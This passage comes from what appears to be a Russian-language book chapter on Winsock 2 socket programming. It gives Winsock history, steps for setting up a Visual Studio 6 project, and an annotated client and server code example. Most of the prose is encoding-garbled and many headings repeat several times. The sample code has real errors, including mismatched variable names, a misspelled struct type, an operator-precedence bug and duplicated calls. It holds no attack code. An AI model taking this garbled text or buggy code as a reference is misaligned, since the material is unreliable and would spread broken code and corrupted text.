ïðîãðàììèñòó ñðåäñòâà äëÿ ìàêñèìàëüíî ïîëíîãî óïðàâëåíèÿ òåì, ÷òî ïî-
ñûëàåòñÿ ôèçè÷åñêîìó óñòðîéñòâó è ïðèõîäèò îò íåãî, íå çàáîòÿñü ïðè ýòîì
î òîì, ÷òî ïðåäñòàâëÿåò ñîáîé ñàìî óñòðîéñòâî. Ïðîèçâîäèòåëè àïïàðàòóðû
äîëæíû ïðèäåðæèâàòüñÿ ñïåöèôèêàöèè Windows SPI, åñëè õîòÿò, ÷òîáû ñòà-
ðûå è íîâûå ïðîãðàììû ìîãëè ðàáîòàòü ñ èõ îáîðóäîâàíèåì.

Àáñîëþòíîå áîëüøèíñòâî ïðîãðàìì äëÿ Windows, âëþ÷àþùèõ ðàáîòó
ñ ñîêåòàìè, òàê èëè èíà÷å èñïîëüçóþò API Winsock èëè áîëåå íîâóþ åãî âåð-
ñèþ Winsock 2. Ïî ñðàâíåíèþ ñ Winsock èëè Winsock 1.1, âåðñèÿ Winsock 2
ïðåäîñòàâëÿåò ãîðàçäî áîëåå ðàçâèòóþ ôóíêöèîíàëüíîñòü.

Примечание

Код, представленный в этой главе, был написан и протестирован
в среде Visual Studio 6 для Windows 2000 и XP.

Обзор Winsock
Ïåðâàÿ âåðñèÿ Winsock áûëà âûïóùåíà â 1993 ãîäó. Îíà áûëà îãðàíè÷åíà â òîì
ñìûñëå, ÷òî ìîãëà ðàáîòàòü òîëüêî ñ ñåìåéñòâîì ïðîòîêîëîâ TCP/IP. Winsock
2 ïîääåðæèâàåò è ìíîãèå äðóãèå ïðîòîêîëû. Ñ Winsock ñâÿçàíû äâå äèíàìè-
÷åñêè çàãðóæàåìûõ áèáëèîòåêè (DLL), âûáèðàåìûå â çàâèñèìîñòè îò òîãî,
äëÿ êàêîé – 16- èëè 32-ðàçðÿäíîé ïëàòôîðìû ïèøåòñÿ ïðèëîæåíèå. Äëÿ
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16-ðàçðÿäíûõ ïðèëîæåíèé ïðåäíàçíà÷åíà áèáëèîòåêà winsock.dll, à äëÿ
32-ðàçðÿäíûõ – wssock32.dll. Åùå îäíèì çàìåòíûì íåäîñòàòêîì Winsock áûëà
íåâîçìîæíîñòü çàïóñòèòü îäíîâðåìåííî áîëåå îäíîãî ýêçåìïëÿðà. Ýòè îã-
ðàíè÷åíèÿ ñëåäóåò ñ÷èòàòü íå ñòîëüêî äåôåêòàìè, ñêîëüêî êîìïðîìèññîì,
íà êîòîðûé ïðèøëîñü ïîéòè, ÷òîáû ïðîãðàììèñòû ìîãëè ïîëüçîâàòüñÿ ñîêå-
òàìè â ðàííèõ îïåðàöèîííûõ ñèñòåìàõ Microsoft.

Èç-çà îãðàíè÷åíèé, ïðèñóùèõ ïåðâîé âåðñèè Winsock, ñåãîäíÿ ñòàíäàðò-
íûì API äëÿ ïðîãðàììèðîâàíèÿ ñîêåòîâ â Windows ÿâëÿåòñÿ Winsock 2. Ýòà
âåðñèÿ âïåðâûå ïîÿâèëàñü â ÎÑ Windows 98 è Windows NT 4.0. Ñ òåõ ïîð îíà
âêëþ÷àåòñÿ âî âñå îïåðàöèîííûå ñèñòåìû Windows.

Примечание

Представленные в этой главе программы, не будут ни компилиро�
ваться, ни работать, если на компьютере отсутствует библиотека
ws2_32.dll, поскольку именно она содержит всю функциональность
Winsock 2. Загрузить эту библиотеку можно с сайта Microsoft.

Ñïåöèôèêàöèÿ Winsock 2 îðèåíòèðîâàíà òîëüêî íà 32-ðàçðÿäíóþ ïëàò-
ôîðìó, ñëåäîâàòåëüíî, â Windows 3.11, NT 3.51 èëè áîëåå ðàííèõ 16-ðàçðÿä-
íûõ ÎÑ îíà ðàáîòàòü íå áóäåò. Îäíàêî, ïðîãðàììû, íàïèñàííûå äëÿ ñòàðûõ
ÎÑ ñ èñïîëüçîâàíèåì Winsock 1.1, áóäóò ðàáîòàòü è â íîâûõ ñèñòåìàõ, ïî-
ñêîëüêó Winsock 2 îáðàòíî ñîâìåñòèìà ïî÷òè áåç îãðàíè÷åíèé. Åäèíñòâåí-
íîå èñêëþ÷åíèå – ýòî èñïîëüçîâàíèå òî÷åê ïîäêëþ÷åíèÿ (hook) ïðè áëîêè-
ðîâêàõ; îíè â Winsock 2 íå ïîääåðæèâàþòñÿ. Ê ÷èñëó íîâûõ ïî ñðàâíåíèþ
ñ Winsock 1.1 âîçìîæíîñòåé îòíîñÿòñÿ:

� Äîïîëíèòåëüíûå ïðîòîêîëûÄîïîëíèòåëüíûå ïðîòîêîëûÄîïîëíèòåëüíûå ïðîòîêîëûÄîïîëíèòåëüíûå ïðîòîêîëûÄîïîëíèòåëüíûå ïðîòîêîëû. Asynchronous Transfer Mode (ATM),
Internetwork Packet Exchange (IPX)/Sequenced Packet Exchange (SPX) è
Digital Equi pment Corporation Network (DECnet); 

� Óñëîâíûé ïðèåì ñîåäèíåíèÿÓñëîâíûé ïðèåì ñîåäèíåíèÿÓñëîâíûé ïðèåì ñîåäèíåíèÿÓñëîâíûé ïðèåì ñîåäèíåíèÿÓñëîâíûé ïðèåì ñîåäèíåíèÿ. Âîçìîæíîñòü îòâåðãíóòü çàïðîñ íà ñî-
åäèíåíèå;

� Ìíîãîóðîâíåâûå ñåðâèñ-ïðîâàéäåðûÌíîãîóðîâíåâûå ñåðâèñ-ïðîâàéäåðûÌíîãîóðîâíåâûå ñåðâèñ-ïðîâàéäåðûÌíîãîóðîâíåâûå ñåðâèñ-ïðîâàéäåðûÌíîãîóðîâíåâûå ñåðâèñ-ïðîâàéäåðû. Âîçìîæíîñòü äîáàâëÿòü ñåð-
âèñû ê ñóùåñòâóþùèì ïðîâàéäåðàì òðàíñïîðòíîãî óðîâíÿ;

� Ìíîãîòî÷å÷íûå ñîåäèíåíèÿ è ãðóïïîâîå âåùàíèåÌíîãîòî÷å÷íûå ñîåäèíåíèÿ è ãðóïïîâîå âåùàíèåÌíîãîòî÷å÷íûå ñîåäèíåíèÿ è ãðóïïîâîå âåùàíèåÌíîãîòî÷å÷íûå ñîåäèíåíèÿ è ãðóïïîâîå âåùàíèåÌíîãîòî÷å÷íûå ñîåäèíåíèÿ è ãðóïïîâîå âåùàíèå. Çàâèñèìûå è íå-
çàâèñèìûå îò ïðîòîêîëà API;

� Ìíîæåñòâåííûå ïðîñòðàíñòâà èìåíÌíîæåñòâåííûå ïðîñòðàíñòâà èìåíÌíîæåñòâåííûå ïðîñòðàíñòâà èìåíÌíîæåñòâåííûå ïðîñòðàíñòâà èìåíÌíîæåñòâåííûå ïðîñòðàíñòâà èìåí. Âûáîð ïðîòîêîëà, ïî êîòîðîìó
ðàçðåøàòü èìåíà õîñòîâ è íàõîäèòü ñëóæáû;

� Ïîääåðæêà íåñêîëüêèõ ïðîòîêîëîâÏîääåðæêà íåñêîëüêèõ ïðîòîêîëîâÏîääåðæêà íåñêîëüêèõ ïðîòîêîëîâÏîääåðæêà íåñêîëüêèõ ïðîòîêîëîâÏîääåðæêà íåñêîëüêèõ ïðîòîêîëîâ. Àðõèòåêòóðà îòêðûòûõ ñèñòåì
Windows (Open Systems Architecture) ïîçâîëÿåò ñåðâèñ-ïðîâàéäåðàì
âñòðàèâàòü (plug-in) è íàäñòðàèâàòü (pile-on) íîâûå âîçìîæíîñòè;

Обзор Winsock
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� Ââîä/âûâîä ñ ïåðåêðûòèåì è îáúåêòû-ñîáûòèÿÂâîä/âûâîä ñ ïåðåêðûòèåì è îáúåêòû-ñîáûòèÿÂâîä/âûâîä ñ ïåðåêðûòèåì è îáúåêòû-ñîáûòèÿÂâîä/âûâîä ñ ïåðåêðûòèåì è îáúåêòû-ñîáûòèÿÂâîä/âûâîä ñ ïåðåêðûòèåì è îáúåêòû-ñîáûòèÿ. Ðàñïðîñòðàíåíèå ñó-
ùåñòâóþùèõ ìåõàíèçìîâ Windows íà ñîêåòû äëÿ ïîâûøåíèÿ ïðîèçâî-
äèòåëüíîñòè;

� Êà÷åñòâî îáñëóæèâàíèÿ (QoS)Êà÷åñòâî îáñëóæèâàíèÿ (QoS)Êà÷åñòâî îáñëóæèâàíèÿ (QoS)Êà÷åñòâî îáñëóæèâàíèÿ (QoS)Êà÷åñòâî îáñëóæèâàíèÿ (QoS). Ìîíèòîðèíã è íàñòðîéêà ïîëîñû ïðî-
ïóñêàíèÿ, äîñòóïíîé ñîêåòó;

� Ââîä ñ îáúåäèíåíèåì è âûâîä ñ ðàñïðåäåëåíèåì (scatter-gather)Ââîä ñ îáúåäèíåíèåì è âûâîä ñ ðàñïðåäåëåíèåì (scatter-gather)Ââîä ñ îáúåäèíåíèåì è âûâîä ñ ðàñïðåäåëåíèåì (scatter-gather)Ââîä ñ îáúåäèíåíèåì è âûâîä ñ ðàñïðåäåëåíèåì (scatter-gather)Ââîä ñ îáúåäèíåíèåì è âûâîä ñ ðàñïðåäåëåíèåì (scatter-gather). Âîç-
ìîæíîñòü ñîáèðàòü îòïðàâëÿåìûé ïàêåò èç íåñêîëüêèõ áóôåðîâ è ðàç-
íîñèòü ïðèíÿòûé ïàêåò ïî íåñêîëüêèì áóôåðàì;

� Ðàçäåëåíèå ñîêåòîâÐàçäåëåíèå ñîêåòîâÐàçäåëåíèå ñîêåòîâÐàçäåëåíèå ñîêåòîâÐàçäåëåíèå ñîêåòîâ. Íåñêîëüêî ïðîöåññîâ ìîãóò ñîâìåñòíî ïîëüçî-
âàòüñÿ îäíèì ñîêåòîì;

� Íåçàâèñèìîñòü ïðîòîêîëà òðàíñïîðòíîãî óðîâíÿÍåçàâèñèìîñòü ïðîòîêîëà òðàíñïîðòíîãî óðîâíÿÍåçàâèñèìîñòü ïðîòîêîëà òðàíñïîðòíîãî óðîâíÿÍåçàâèñèìîñòü ïðîòîêîëà òðàíñïîðòíîãî óðîâíÿÍåçàâèñèìîñòü ïðîòîêîëà òðàíñïîðòíîãî óðîâíÿ. Âîçìîæíîñòü
âûáðàòü ïðîòîêîë â çàâèñèìîñòè îò íåîáõîäèìîé ñëóæáû;

� Ìåõàíèçì ðàñøèðåíèé ïðîèçâîäèòåëÿìèÌåõàíèçì ðàñøèðåíèé ïðîèçâîäèòåëÿìèÌåõàíèçì ðàñøèðåíèé ïðîèçâîäèòåëÿìèÌåõàíèçì ðàñøèðåíèé ïðîèçâîäèòåëÿìèÌåõàíèçì ðàñøèðåíèé ïðîèçâîäèòåëÿìè. Ôèðìû-ïðîèçâîäèòåëè
ìîãóò äîáàâëÿòü ñîáñòâåííûå API.

Winsock 2.0
Ïðåæäå âñåãî, îòêðîéòå Visual Studio 6.0. Ýêñïëîéòû ïèøóòñÿ èñêëþ÷èòåëü-
íî êàê êîíñîëüíûå ïðèëîæåíèÿ, òî åñòü ïðåäíàçíà÷åíû äëÿ çàïóñêà èç îêíà
êîìàíä Windows, ïîõîæåãî íà òåðìèíàë â UNIX. Êàê è êîìàíäíûå óòèëèòû
â UNIX, êîíñîëüíîå ïðèëîæåíèå ìîæåò ïðèíèìàòü ïàðàìåòðû. Äëÿ ñîçäàíèÿ
íîâîãî ðàáî÷åãî ïðîñòðàíñòâà, ñîäåðæàùåãî ïóñòîå êîíñîëüíîå ïðèëîæå-
íèå, âûïîëíèòå ñëåäóþùèå äåéñòâèÿ.

1. Â ìåíþ FileFileFileFileFile (Ôàéë) âûáåðèòå ïóíêò NewNewNewNewNew (Ñîçäàòü).
2. Âûáåðèòå  èç ñïèñêà ïóíêò Win32Win32Win32Win32Win32  C C C C Cooooonsole Applnsole Applnsole Applnsole Applnsole Appl icatioicatioicatioicatioicationnnnn, ïðèñâîéòå  íî-

âîìó ïðîåêòó èìÿ è íàæìèòå OKOKOKOKOK.
3. Âûáåðèòå An empty projectAn empty projectAn empty projectAn empty projectAn empty project (Ïóñòîé ïðîåêò) è íàæìèòå êíîïêó FinishFinishFinishFinishFinish,

÷òîáû íà÷àòü ðàáîòó.
4. Èç ìåíþ FileFileFileFileFile âûáåðèòå ïóíêò NewNewNewNewNew.
5. Âûáåðèòå âàðèàíò C/C++ Source FileC/C++ Source FileC/C++ Source FileC/C++ Source FileC/C++ Source File (Èñõîäíûé òåêñò íà C/C++) è íà-

æìèòå OKOKOKOKOK.
6. Â ýòîò ìîìåíò íà ýêðàíå äîëæíî ïîÿâèòüñÿ ïóñòîå îêíî äëÿ ââîäà èñ-

õîäíîãî òåêñòà ïðîãðàììû.

Â ïðîãðàììó ñëåäóåò âêëþ÷èòü çàãîëîâî÷íûé ôàéë Winsock 2 äèðåêòèâîé
#include <winsock2.h>. Êðîìå òîãî, äëÿ ðàáîòû Winsock 2 ïðîãðàììà äîëæíà
áûòü ñêîìïîíîâàíà ñ ñîîòâåòñòâóþùåé áèáëèîòåêîé, èíà÷å êîìïîíîâùèê
íå ñìîæåò îòûñêàòü íåîáõîäèìûå ôóíêöèè. Â Visual Studio 6.0 äëÿ êîìïîíîâ-
êè ñ íåêîòîðîé áèáëèîòåêîé åñòü äâà ñïîñîáà:
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� Óêàçàòü èìÿ áèáëèîòåêè íåïîñðåäñòâåííî â ôàéëå ñ ðàñøèðåíèåì .c
èëè .cpp. Ýòî íàèáîëåå ïðîñòîé è ïðåäïî÷òèòåëüíûé ìåòîä, îñîáåííî
åñëè âû õîòèòå ïåðåäàòü ñâîé ïðîåêò â îáùåå ïîëüçîâàíèå;

� Âêëþ÷èòü áèáëèîòåêè â ðàáî÷åå ïðîñòðàíñòâî ïðîåêòà, íî òîãäà ïåðå-
äàâàòü ñâîé êîä äðóãèì ëþäÿì ñòàíîâèòñÿ ñëîæíåå. Åñëè âû ñêà÷àëè èç
ñåòè ïðîãðàììó, à îíà íå êîìïèëèðóåòñÿ, ïðîâåðüòå, âñå ëè áèáëèîòåêè
óêàçàíû. Íèæå ïðèâîäÿòñÿ ïîäðîáíûå èíñòðóêöèè î òîì, êàê ïîëüçî-
âàòüñÿ îáîèìè ñïîñîáàìè.

Компоновка с использованием Visual Studio 6.0

1. Íàæìèòå Alt+F7Alt+F7Alt+F7Alt+F7Alt+F7 äëÿ âõîäà â ìåíþ ProjectProjectProjectProjectProject (Ïðîåêò) è âûáåðèòå ïóíêò
SettingsSettingsSettingsSettingsSettings (Ïàðàìåòðû).

2. Â äèàëîãîâîì îêíå Project SettingsProject SettingsProject SettingsProject SettingsProject Settings (Ïàðàìåòðû ïðîåêòà) ïåðåéäèòå íà
âêëàäêó LinkLinkLinkLinkLink (Êîìïîíîâêà) è äàëåå óêàæèòå êóðñîðîì íà ïîëå Object/Object/Object/Object/Object/
Library modulesLibrary modulesLibrary modulesLibrary modulesLibrary modules (Îáúåêòíûå ôàéëû / Áèáëèîòå÷íûå ìîäóëè). Ââåäèòå
èìÿ áèáëèîòåêè ws2_32.dll è íàæìèòå OKOKOKOKOK.

3. Òåïåðü âàøà ïðîãðàììà áóäåò ñêîìïîíîâàíà ñ áèáëèîòåêîé ws2_32.dll
(ñì. ðèñ. 4.1).

Рис. 4.1. Рис. 4.1. Рис. 4.1. Рис. 4.1. Рис. 4.1. Диалоговое окно Project Settings в Visual Studio

Задание компоновки в исходном коде

1. Ïîìåñòèòå ñëåäóþùèé êîä ñðàçó ïîä äèðåêòèâàìè #include: #pragma
comment(l ib, «ws2_32.l ib»).

2. Òåïåðü âàøà ïðîãðàììà äîëæíà áûòü ñêîìïîíîâàíà ïðàâèëüíî.

Ïðåæäå ÷åì íà÷àòü èñïîëüçîâàòü ôóíêöèè èç Winsock 2 API, íåîáõîäèìî
ñîçäàòü îáúåêò WSADATA, êîòîðûé îñóùåñòâëÿåò äîñòóï ê áèáëèîòåêå

Winsock 2.0
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ws2_32.dll. Â ïðèìåðå 4.1 ýòîò îáúåêò îáëàäàåò ìíîãèìè ñâîéñòâàìè, èç êîòî-
ðûõ íàñ áóäåò èíòåðåñîâàòü òîëüêî wVersion. Ìàêðîñ MAKEWORD() ïðåä-
ñòàâëÿåò íîìåð âåðñèè â ñòàíäàðòíîì ôîðìàòå; òàê, MAKEWORD(2, 0) ñîîò-
âåòñòâóåò âåðñèè 2.0.

Пример 4.1. Пример 4.1. Пример 4.1. Пример 4.1. Пример 4.1. Объект WSADATA
 1 WSADATA wsaData;

 2 WORD wVersionRequested;

 3 wVersionRequested = MAKEWORD(2, 0);

 4 WSAStartup(wVersionRequested, &wsaData);

 5 if ( WSAStartup(wVersionRequested, &wsaData) < 0 )

 6 {

 7   printf("Íåïðàâèëüíàÿ âåðñèÿ");

 8   exit(1);

 9 }

10 SOCKET MySocket;

11 MySock = socket(AF_INET, SOCK_STREAM, 0);

12 MySock = socket(AF_INET, SOCK_DGRAM, 0);

13 struct hostent *target_ptr;

14 target_ptr = gethostbyname( targetip );

15 if( target_ptr = gethostbyname( targetip ) == NULL )

16 {

17   printf("Íå óäàåòñÿ ðàçðåøèòü èìÿ.");

18   exit(1);

19 }

20 struct sockaddr_in sock;

21 memcpy(&sock.sin_addr.s_addr,target_ptr->h_addr,target_ptr->h_length);

22 sock.sin_family = AF_INET;

23 sock.sin_port = htons( port );

24 connect (MySock, (struct sockaddr *)&sock, sizeof (sock) );

25 if ( connect (MySock, (struct sockaddr *)&sock, sizeof (sock) ) )

26 {

27   printf("Íå óäàåòñÿ óñòàíîâèòü ñîåäèíåíèå.");

28   exit(1);

29 }

30 char *recv_string = new char [MAX];

31 int nret = 0;

32 nret = recv( MySock, recv_string, MAX, 0 );

33 if( (nret = recv( MySock, recv_string, MAX, 0 )) <= 0  )

34 {

35   printf("Íå ïîëó÷åíî íèêàêèõ äàííûõ.");

36   exit(1);

37 }

38 char send_string [ ] = "\n\r Hello World \n\r\n\r";

39 int nret = 0;

40 nret = send( MySock, send_string, sizeof( send_string ) -1, 0 );

41 if( (nret=send( MySock, send_string, sizeof(send_string)-1, 0)) <= 0 )

42 {
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43   printf("Íå óäàåòñÿ îòïðàâèòü äàííûå.");

44   exit(1);

45 }

46 socketaddr_in serverInfo;

47 serverInfo.sin_family = AF_INET;

48 serverInfo.sin_addr.s_addr = INADDR_ANY;

49 listen(MySock, 10);

50 SOCKET NewSock;

51 NewSock = accept(MySock, NULL, NULL);

52 closesocket(MySock);

53 WSACleanup();

Анализ

� Â ñòðîêàõ 1–9 äëÿ èíèöèàëèçàöèè Winsock 2 âûçûâàåòñÿ ôóíêöèÿ
WSAStartup(), êîòîðàÿ ïðèíèìàåò äâà ïàðàìåòðà: íîìåð âåðñèè è îáúåêò
WSADATA, êîòîðûé è íàäî èíèöèàëèçèðîâàòü. Â ñëó÷àå îøèáêè ôóíê-
öèÿ âîçâðàùàåò êîä. ×àùå âñåãî ýòî ñëó÷àåòñÿ, åñëè çàïðîøåííûé íî-
ìåð âåðñèè áîëüøå èìåþùåãîñÿ íà ìàøèíå. Åñëè æå âû çàïðàøèâàåòå
áîëåå ðàííþþ âåðñèþ, òî ôóíêöèÿ çàâåðøàåòñÿ óñïåøíî.

� Â ñòðîêàõ 10–12 ñîçäàåòñÿ è èíèöèàëèçèðóåòñÿ ñîêåò. Ôóíêöèè socket()
ïåðåäàþòñÿ òðè ïàðàìåòðà: àäðåñíîå ñåìåéñòâî, òèï ñîêåòà è ïðîòîêîë.
Â ýòîé êíèãå ìû èìååì äåëî òîëüêî ñ àäðåñíûì ñåìåéñòâîì AF_INET. Òèï
ñîêåòà ìîæåò áûòü SOCK_STREAM èëè SOCK_DGRAM. SOCK_STREAM ãî-
âîðèò î òîì, ÷òî äîëæíî áûòü ñîçäàíî äâóíàïðàâëåííîå ïîòîêîâîå
ñîåäèíåíèå, äëÿ ñåìåéñòâà AF_INET ýòî îçíà÷àåò ïðîòîêîë TCP. Êîí-
ñòàíòà SOCK_DGRAM îçíà÷àåò, ÷òî ñîêåò íå òðåáóåò óñòàíîâêè ñîåäè-
íåíèÿ, â ñëó÷àå ñåìåéñòâà AF_INET áóäåò âûáðàí ïðîòîêîë UDP. Ïîñëå-
äíèé ïàðàìåòð ãîâîðèò, êàêîé ïðîòîêîë áóäåò èñïîëüçîâàòüñÿ äëÿ ïåðå-
äà÷è äàííûõ. Çíà÷åíèå çàâèñèò îò óêàçàííîãî àäðåñíîãî ñåìåéñòâà.
Ñêîðåå âñåãî, âàì íèêîãäà íå ïðèäåòñÿ çàäàâàòü ýòîò ïàðàìåòð ÿâíî,
òàê ÷òî îñòàâëÿéòå åãî ðàâíûì íóëþ.

� Â ñòðîêàõ 13–19 ãîòîâèòñÿ èíôîðìàöèÿ îá àäðåñå è íîìåðå ïîðòà äëÿ
ñîêåòà. Ìîæíî óêàçûâàòü êàê IP-àäðåñ, òàê è ïîëíîñòüþ îïðåäåëåííîå
äîìåííîå èìÿ õîñòà, êîòîðîå åùå ïðåäñòîèò ðàçðåøèòü. Ïðåîáðàçîâàíèå
äîìåííîãî èìåíè â ôîðìó, ïðèãîäíóþ äëÿ êîíôèãóðèðîâàíèÿ ñîêåòà,
ïðîèçâîäèòñÿ ñ ïîìîùüþ ñòðóêòóðû hostent è ôóíêöèè gethostbyname(),
êîòîðàÿ âîçâðàùàåò òàêóþ ñòðóêòóðó. Åé ïåðåäàåòñÿ ñòðîêà, èäåíòèôè-
öèðóþùàÿ óäàëåííóþ ìàøèíó. Ýòî ìîæåò áûòü IP-àäðåñ â òî÷å÷íî-äå-
ñÿòè÷íîé íîòàöèè, ïîëíîñòüþ îïðåäåëåííîå äîìåííîå èìÿ, èìÿ ìà-
øèíû â ëîêàëüíîé ñåòè èëè ëþáîå äðóãîå èìÿ, êîòîðîå ïîíèìàåò ïðî-
ãðàììà nslookup. Ôóíêöèÿ gethostbyname() âåðíåò NULL, åñëè íå ñìîæåò
ðàçðåøèòü óêàçàííîå èìÿ.

Winsock 2.0



204 Глава 4. Сокеты на платформе Windows (Winsock)

Â ñòðóêòóðó struct hostent áóäåò ïîìåùåí äâîè÷íûé IP-àäðåñ. Åãî íåîáõî-
äèìî ñêîïèðîâàòü â ñòðóêòóðó sockaddr_in. Ñíà÷àëà â ñòðîêå 20 îáúÿâ-
ëÿåòñÿ ïåðåìåííàÿ sock ýòîãî òèïà, à çàòåì sin_addr.s_addr êîïèðóåòñÿ àä-
ðåñ èç ñòðóêòóðû, íà êîòîðóþ óêàçûâàåò target_ptr (ñòðîêà 21). Ýòî äåëàåò
ôóíêöèÿ memcpy(), êîòîðàÿ ðàáîòàåò àíàëîãè÷íî strcpy(), òîëüêî íå ñî
ñòðîêàìè, à ñ áëîêàìè äâîè÷íûõ äàííûõ. Åé ïåðåäàþòñÿ òðè ïàðàìåòðà:
êóäà êîïèðîâàòü, îòêóäà êîïèðîâàòü è ñêîëüêî áàéòîâ êîïèðîâàòü.

� Ïåðåìåííàÿ sock ïîêà åùå íå âïîëíå ãîòîâà, â ñòðîêàõ 22 è 23 çàäàåòñÿ
àäðåñíîå ñåìåéñòâî è íîìåð ïîðòà. Èäåíòèôèêàòîð àäðåñíîãî ñåìåé-
ñòâà (AF_INET) ïîìåùàåòñÿ â ïîëå sin_family, à íîìåð ïîðòà, ñîîòâåò-
ñòâóþùèé ñëóæáå, ñ êîòîðîé ìû õîòèì ñîåäèíèòüñÿ, – â ïîëå sin_port.
Îòìåòèì, ÷òî çíà÷åíèå â ïîëå sin_port äîëæíî áûòü ïðåäñòàâëåíî
â ñåòåâîì ïîðÿäêå áàéòîâ, ïîñêîëüêó èìåííî òàêîé ïîðÿäîê ïðèíÿò
â ñåòÿõ TCP/IP. Äëÿ ïðåîáðàçîâàíèÿ öåëîãî ÷èñëà èç ìàøèííîé ôîðìû
â ñåòåâóþ ïðèìåíÿåòñÿ ôóíêöèÿ htons().

� Â ñòðîêàõ 24–29 ñ ïîìîùüþ ôóíêöèè connect() óñòàíàâëèâàåòñÿ ñîåäè-
íåíèå. Ýòà ôóíêöèÿ ïðèíèìàåò òðè ïàðàìåòðà è âîçâðàùàåò êîä çàâåð-
øåíèÿ îïåðàöèè. Ïåðâûé ïàðàìåòð – ýòî äåñêðèïòîð ñîêåòà, â äàííîì
ñëó÷àå MySock. Âòîðîé – óêàçàòåëü íà ñòðóêòóðó, ñîäåðæàùóþ àäðåñíóþ
èíôîðìàöèþ, òî åñòü íîìåð ïîðòà, IP-àäðåñ è àäðåñíîå ñåìåéñòâî. Âñå
ýòî óæå ïîìåùåíî â ïåðåìåííóþ sock. Ïîñëåäíèì ïàðàìåòðîì ÿâëÿåò-
ñÿ äëèíà âòîðîãî ïàðàìåòðà, äëÿ åå îïðåäåëåíèÿ ïðèìåíÿåòñÿ âñòðîåí-
íàÿ â ÿçûê ôóíêöèÿ sizeof(). Åñëè îøèáîê íå ïðîèçîøëî, connect() âîç-
âðàùàåò 0. Êàê è â ñëó÷àå ñ WSAStartup(), íàñòîÿòåëüíî ðåêîìåíäóåòñÿ
ïðîâåðÿòü êîä âîçâðàòà, ÷òîáû áûòü óâåðåííûì, ÷òî ñîåäèíåíèå äåé-
ñòâèòåëüíî óñòàíîâëåíî.

� Â ñòðîêàõ 30–37 ìû çàíèìàåìñÿ ïðèåìîì äàííûõ îò óäàëåííîé ìàøè-
íû. Äëÿ ýòîãî ïðåäíàçíà÷åíà ôóíêöèÿ recv(), êîòîðîé ïåðåäàåòñÿ ÷åòû-
ðå ïàðàìåòðà: äåñêðèïòîð óæå ñîåäèíåííîãî ñîêåòà (MySock), áóôåð,
â êîòîðûé áóäóò ñêîïèðîâàíû ïðèøåäøèå äàííûå, äëèíà ýòîãî áóôåðà
è íàáîð ôëàãîâ, óòî÷íÿþùèõ ïîðÿäîê ðàáîòû. Â ÷àñòíîñòè, ôëàã
MSG_PEEK ãîâîðèò, ÷òî íóæíî ïðî÷èòàòü äàííûå, íî íå óäàëÿòü èõ èç
ñèñòåìíîãî áóôåðà. Äðóãîé ôëàã MSG_OOB èñïîëüçóåòñÿ ñîâìåñòíî
ñ ïðîòîêîëîì DECnet. Îáû÷íî çàäàåòñÿ ïðîñòî çíà÷åíèå 0, òîãäà äàí-
íûå êîïèðóþòñÿ â âàø áóôåð, à èç ñèñòåìíîãî óäàëÿþòñÿ. Ôóíêöèÿ âîç-
âðàùàåò ÷èñëî ïðî÷èòàííûõ è ïîìåùåííûõ â áóôåð áàéòîâ. Îòðèöà-
òåëüíîå çíà÷åíèå ñâèäåòåëüñòâóåò îá îøèáêå, íóëü – î òîì, ÷òî ïðî÷è-
òàí «êîíåö ôàéëà», òî åñòü óäàëåííûé êîìïüþòåð çàêðûë ñâîé êîíåö
ñîåäèíåíèÿ.

� Â ñòðîêàõ 38–45 âûçûâàåòñÿ ôóíêöèÿ send() äëÿ îòïðàâêè äàííûõ. Îíà
òîæå ïðèíèìàåò ÷åòûðå ïàðàìåòðà è âîçâðàùàåò öåëîå ÷èñëî. Ïåðâûé
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ïàðàìåòð, êàê è â ñëó÷àå recv(), – ýòî äåñêðèïòîð ñîêåòà, âòîðîé – óêà-
çàòåëü íà áóôåð, ñîäåðæàùèé îòïðàâëÿåìûå äàííûå, òðåòèé – äëèíà
ýòîãî áóôåðà. Îáðàòèòå âíèìàíèå, ÷òî ìû âû÷èòàåì 1 èç äëèíû áóôå-
ðà, ïîëó÷åííîé ñ ïîìîùüþ sizeof(), ÷òîáû íå ó÷èòûâàòü (è íå ïåðåäà-
âàòü) çàâåðøàþùèé íóëü1. Ïîñëåäíèé ïàðàìåòð òîæå ñîäåðæèò ôëàãè.
Ôóíêöèÿ âîçâðàùàåò ÷èñëî îòïðàâëåííûõ áàéòîâ, êîòîðîå ìîæåò áûòü
è ìåíüøå çàäàííîãî òðåòüèì ïàðàìåòðîì2.*

� Â ñòðîêàõ 46–49 ïðèâåäåí ôðàãìåíò êîäà, õàðàêòåðíûé äëÿ ñåðâåðíûõ
ïðèëîæåíèé, êîòîðûì íóæåí ñîêåò, íàõîäÿùèéñÿ â ðåæèì îæèäàíèÿ
çàïðîñîâ íà ñîåäèíåíèå. Äëÿ ïåðåâîäà ñîêåòà â òàêîé ðåæèì ñëóæèò ôóí-
êöèÿ l isten(), êîòîðàÿ ïðèíèìàåò äâà ïàðàìåòðà è âîçâðàùàåò öåëîå  ÷èñ-
ëî. Íî ñíà÷àëà ñîêåò íóæíî ñîçäàòü, óêàçàâ àäðåñ ëîêàëüíîãî êîìïüþ-
òåðà è íîìåð ïðîñëóøèâàåìîãî ïîðòà. Çàïèøèòå â ïîëå sin_addr.s_addr
çíà÷åíèå INADDR_ANY, îçíà÷àþùåå, ÷òî âû ãîòîâû ïðèíèìàòü çà-
ïðîñû íà ñîåäèíåíèå, ïîñòóïàþùèå íà ëþáîé èç ñåòåâûõ èíòåðôåéñîâ
êîìïüþòåðà. Ïåðâûì ïàðàìåòðîì l isten() ÿâëÿåòñÿ äåñêðèïòîð ñîçäàí-
íîãî ñîêåòà, âòîðûì – äëèíà î÷åðåäè îæèäàþùèõ ñîåäèíåíèé.

� Â ñòðîêàõ 50–51 âûçûâàåòñÿ ôóíêöèÿ accept(), êîòîðàÿ áóäåò æäàòü, ïîêà
íå ïðèäåò çàïðîñ îò êëèåíòà. Îíà ïðèíèìàåò òðè ïàðàìåòðà è âîçâðàùà-
åò äåñêðèïòîð íîâîãî ñîêåòà. Ïåðâûé ïàðàìåòð – äåñêðèïòîð ñîêåòà,
íàõîäÿùåãîñÿ â ðåæèìå îæèäàíèÿ, âòîðîé – óêàçàòåëü íà ñòðóêòóðó,
â êîòîðîé áóäåò âîçâðàùåí àäðåñ êëèåíòà, òðåòèé – äëèíà âòîðîãî ïàðà-
ìåòðà. Ïîñëåäíèå äâà ïàðàìåòðà íåîáÿçàòåëüíû, âìåñòî íèõ ìîæíî ïå-
ðåäàòü NULL. Âîçâðàùåííûé ôóíêöèåé accept() ñîêåò ìîæíî èñïîëüçî-
âàòü äëÿ ïîñëåäóþùåãî îáìåíà äàííûìè ñ êëèåíòîì.

